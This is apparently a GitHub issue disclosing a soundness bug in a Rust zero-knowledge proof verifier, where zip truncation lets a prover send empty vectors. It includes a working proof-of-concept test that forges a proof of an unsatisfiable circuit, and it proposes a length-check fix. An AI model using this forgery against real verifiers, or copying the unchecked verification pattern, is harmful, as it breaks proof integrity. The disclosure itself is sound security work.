-
Notifications
You must be signed in to change notification settings - Fork 63
Description
Mentioned elsewhere, probably deserves its own issue...
The verify() method zips r3.Q (verifier-chosen, length t) with prover-controlled Vec fields from Round4 (u, ux, uy, uz, uadd, u0). Rust's zip truncates to the shorter iterator; .all() on empty returns true. A malicious prover sends empty vectors, making all column checks vacuously true.
The Bug
Every column check follows this pattern:
r3.Q.iter().zip(U.columns()).zip(r4.u).all(|..| ...)The verifier never asserts r4.u.len() == r3.Q.len() (likewise for ux, uy, uz, uadd, u0).
With empty vectors all six column checks become vacuously true.
PoC
Proves 1 = 0. Circuit: a + b asserted zero, with inputs [1, 0]. No Constant/Mul gates, so badd = 0 and all polynomial-level targets are zero. Entire Round 2 is fabricated as zeros (+ valid codeword for v).
#[test]
fn poc_empty_round4_vectors_vacuous_column_checks() {
use sha2::Sha256;
use simple_arith_circuit::{Circuit, Op};
type H = Sha256;
let mut rng = AesRng::from_entropy();
// Unsatisfiable: output = a + b, asserted == 0. Inputs [1, 0] => 1.
let circuit: Circuit<TestField> = Circuit::new(
2, 1, vec![Op::Add(0, 1)],
);
let fake_w = vec![TestField::ONE, TestField::ZERO];
let prover = Prover::<_, H>::new(&mut rng, &circuit, &fake_w, None);
let r0 = prover.ip.round0();
let params = prover.ip.params();
let (r1, fs_state) = make_r1::<_, H>(
¶ms,
prover.ip.shared_range().len(),
prover.ip.shared_mask_range().len(),
&prover.ckt_hash, &r0, &[],
);
// Fabricate entire Round 2: everything zero except v.
let r2 = super::Round2 {
v: params.random_codeword(&mut rng),
qadd: Array1::<TestField>::zeros(2 * params.k + 1),
qx: Array1::<TestField>::zeros(2 * params.k + 1),
qy: Array1::<TestField>::zeros(2 * params.k + 1),
qz: Array1::<TestField>::zeros(2 * params.k + 1),
p0: Array1::<TestField>::zeros(2 * params.k + 1),
qshared: Array1::<TestField>::zeros(
prover.ip.shared_mask_range().len(),
),
};
let r3 = make_r3::<TestField, H>(¶ms, &fs_state, &r2);
// Round 4: valid Merkle proof + empty blinding Vecs.
let mut r4 = prover.ip.round4(r3.clone());
r4.u = Vec::new();
r4.ux = Vec::new();
r4.uy = Vec::new();
r4.uz = Vec::new();
r4.uadd = Vec::new();
r4.u0 = Vec::new();
let mut public = super::Public::new(&circuit, None);
assert!(super::verify::<TestField, H>(
&mut public, &r0, r1, r2, r3, r4,
));
}Fix
Assert r4.u.len() == r3.Q.len() (and same for ux, uy, uz, uadd, u0) in verify(). Reject if any length differs from t.